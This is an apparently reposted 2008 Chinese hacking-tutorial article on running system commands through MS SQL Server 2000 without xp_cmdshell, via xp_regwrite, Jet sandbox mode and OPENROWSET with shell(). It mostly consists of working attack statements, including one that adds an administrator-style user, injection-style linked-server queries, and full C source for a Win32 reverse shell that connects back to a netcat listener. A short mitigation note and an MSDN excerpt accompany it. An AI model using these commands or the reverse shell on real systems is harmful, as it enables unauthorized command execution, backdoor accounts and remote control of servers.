通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 爱心红客 电信网通铁通移动 在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 安全防御 >> 安全相关 >> 文章正文
dos shell without xp_cmdshell
责任编辑:酷酷の鱼   更新日期:2008-7-9
 

来源:安全中国

删除xp_cmdshell和xplog70.dll不用担心,只要保留xp_regwrite就可以执行系统命令,拥有一个dos shell
利用RDS的一个老问题,在IIS 4.0的时候被广泛利用,现在好像没多少人想得起来了
主要是由于Jet允许调用VBA的shell()函数,该函数允许你执行shell命令

利用jet执行shell命令比想办法恢复xp_cmdshell来得经济实惠,不过需要猜一下系统路径
nt/2k: x:\winnt\system32\
xp/2003: x:\windows\system32\
解决办法:
如果不需要RDS支持,请删除x:\Program Files\Common Files\System\Msadc\msadcs.dll
仅仅修改注册表是不够的,具体看下文详述

当然除了IAS.mdb这个之外,还有其他的mdb文件也可以,只要文件存在即可
2003的system32下就有两个:ias.mdb和dnary.mdb
其他系统你可以dir /a /s *.mdb看一下,如果有新发现,欢迎补充

如果有回显,可以看到执行返回结果,否则需要先判断主机OS类型再试
当然如果野蛮一点,四个轮流来一遍也行。

首先开启jet沙盘模式,通过扩展存储过程xp_regwrite修改注册表实现,管理员修改注册表不能预防的原因。
出于安全原因,默认沙盘模式未开启,这就是为什么需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER权限,为了方便,这里建议使用sysadmin权限测试:
exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
注:
0 禁止一切(默认)
1 使能访问ACCESS,但是禁止其它
2 禁止访问ACCESS,但是使能其他
3 使能一切

事实上,对有DB_OWNER权限即可执行,但是执行后面一条语句会有不同要求,不能直接执行,详见下面语句解释。

然后利用jet.oledb执行系统命令,这个仅仅需要%SystemRoot%读权限即可,还是比较宽松的,所以危害也就相当高了
对于只有DB_OWNER权限的用户,需要建立链接数据库的方式来进行访问,不允许直接访问,至于是否能访问成功,尚未测试。有兴趣的可以自行测试一下,欢迎补充。
MSDN上说:
“sp_addlinkedserver : Execute permissions default to members of the sysadmin and setupadmin fixed server roles.”
实际发现sp_addlinkedserver/sp_addlinkedsrvlogin需要setupadmin权限即可执行,而DB_OWNER拥有数据库的全部权限,理论上应该可以成功。

这里仅给出sysadmin权限下使用的命令:
select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=c:\winnt\system32\ias\ias.mdb’,’select shell("cmd.exe /c net user admin admin1234 /add")’)

建立链接数据库’L0op8ack’参考命令:
EXEC sp_addlinkedserver ’L0op8ack’,’OLE DB Provider for Jet’,’Microsoft.Jet.OLEDB.4.0’,’c:\windows\system32\ias\ias.mdb’

验证截图如下(WIN2003 sp1装MSSQL2K sp3环境中的测试效果,使用了sysadmin权限):

附:
无法连接数据服务器时(数据库一般不对外开放,但一般可以对外访问),
可以使用反弹dos shell方式,改写成bind shell也很容易,呵呵!
====================== CUT here =======================
//name : win32 connect back shell source code for nt/2K/xp/2003
//compile : cl win32cbsh.c (vc6)
//usage : 
//on your pc : nc -l -p {listen port}
//on vitim pc : win32cbsh {your ip} {listen port}
//warning : if there’s no parameter specified, it will cause "fatal error"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
int main(int argc, char **argv)
{
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in adik_sin;
memset(&adik_sin,0,sizeof(adik_sin));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket=WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
adik_sin.sin_family=AF_INET;
adik_sin.sin_port=htons(atoi(argv[2]));
adik_sin.sin_addr.s_addr=inet_addr(argv[1]);
if(0!=connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin))) return -1;
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput=si.hStdError=(void *)hSocket;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
return 0;
}
使用这个方式可以执行,但是很不幸,DB_OWNER权限是不够的,需要至少sysadmin权限或者securityadmin+setupadmin权限组合

sp_addlinkedserver需要sysadmin或setupadmin权限
sp_addlinkedsrvlogin需要sysadmin或securityadmin权限
最终发现,还是sa权限或者setupadmin+securityadmin权限帐户才能使用,
一般没有哪个管理员这么设置普通帐户权限的

实用性不强,仅作为一个学习总结吧

大致过程如下,如果不是sysadmin,那么IAS.mdb权限验证会出错,
我测试的时候授予hacker这个用户setupadmin+securityadmin权限,使用ias.mdb失败
需要找一个一般用户可访问的mdb才可以:

EXEC sp_addlinkedserver ’L0op8ack’,’JetOLEDB’,’Microsoft.Jet.OLEDB.4.0’,’c:\winnt\system32\ias\ias.mdb’;--
exec sp_addlinkedsrvlogin ’L0op8ack’,’hacker’;--
SELECT * FROM OPENQUERY(L0op8ack, ’SELECT shell("cmd.exe /c net user")’);--
exec sp_droplinkedsrvlogin ’L0op8ack’,’hacker’;--
exec sp_dropserver ’L0op8ack’;--
我的sql2k sp3里面sp_addserverlogin后面要带用户名称,加true/false都报无此用户错误

呵呵,不过最终还是失败了

原来的过程也可以注入的,打了sp之后就没有了

摘一段T-SQL参考,实际上这是T-SQL引用异类 OLE DB 数据源的两种方法
openrowset需要sa权限,想用sp_addlinkserver/openquery突破一下,最终发现不能成功
============================================
分布式查询构架
Microsoft® SQL Server™ 2000 支持两种在 Transact-SQL 语句中引用异类 OLE DB 数据源的方法,: 

1) 链接服务器名称 
系统存储过程 sp_addlinkedserver 和sp_addlinkedsrvlogin 用于给 OLE DB 数据源提供服务器名称。可以使用由四个部分构成的名称在 Transact-SQL 语句中引用这些链接服务器中的对象。例如,如果链接服务器的名称 DeptSQLSrvr 是用 SQL Server 2000 的另一个复本定义的,下面的语句引用该服务器上的一个表:

SELECT * FROM DeptSQLSrvr.Northwind.dbo.Employees

也可以在 OPENQUERY 语句中指定链接服务器的名称以从 OLE DB 数据源打开一个行集。之后,可以在 Transact-SQL 语句中像引用表一样引用该行集。

2) 特殊连接器名称 
在很少引用数据源时,OPENROWSET 或 OPENDATASOURCE 函数是用连接到链接服务器时所需的信息指定的。之后,可以在 Transact-SQL 中使用与引用表相同的方法引用行集:

SELECT *
FROM OPENROWSET(’Microsoft.Jet.OLEDB.4.0’,
’c:\MSOffice\Access\Samples\Northwind.mdb’;’Admin’;’’;
Employees)

SQL Server 2000 使用 OLE DB 在关系引擎和存储引擎之间通讯。关系引擎将每个 Transact-SQL 语句分解为一系列操作,这些操作在由存储引擎从基表打开的简单 OLE DB 行集上执行。这意味着关系引擎也可以在任何 OLE DB 数据源上打开简单 OLE DB 行集。
1.exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’Software\Microsoft\Jet\4.0\Engine\SandBoxMode’,REG_DWORD,0 写一个注册表的值,开启Access沙盒模式。也就是可在非Application里执行的功能。
2.用OpenRowSet打开一个Access文件.在%windir%\system32\ias里有4个这样的文件。随便拿来用
3.执行的函数如下
Function Shell(ByVal Command As String) As Long

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    推荐文章 瑞星公司07月09日发布 每日计算机病毒及木马播报
    普通文章 对抗杀毒软件 新“网银盗号”病毒现
    普通文章 微软预警:ActiveX再度引来危险漏洞
    普通文章 实战Armadillo V3.60标准加壳方式的脱壳
    普通文章 安全机构称Mac正成为木马攻击目标
    普通文章 针对个人用户DDoS自杀式攻击
    普通文章 ICANN关于近期域名安全威胁问题的说明
    普通文章 查杀病毒正确方法 邮件病毒入侵后清除步骤
    普通文章 奇虎将发布免费杀毒软件
    普通文章 美国机场每年丢失60万笔记本
    热门文章
    普通文章发现苹果Mac OS X漏洞的木马
    普通文章打Flash漏洞补丁 小心引“FTP资源吸血鬼”入室
    普通文章西方黑客奥运期间可能大规模攻击中国
    普通文章“木马点击器”泛滥 威胁互联网广告
    普通文章色情网站传播木马 站长、黑客齐判刑
    普通文章德国软件公司误将50万个人信息公布
    普通文章反华团体借地震谣言传病毒
    普通文章三名黑客涉嫌侵犯他人通信自由
    普通文章让系统里IE6和IE7和谐共存
    推荐文章从机械化到人性化,拒绝电脑亚健康的三种方法
    精彩专题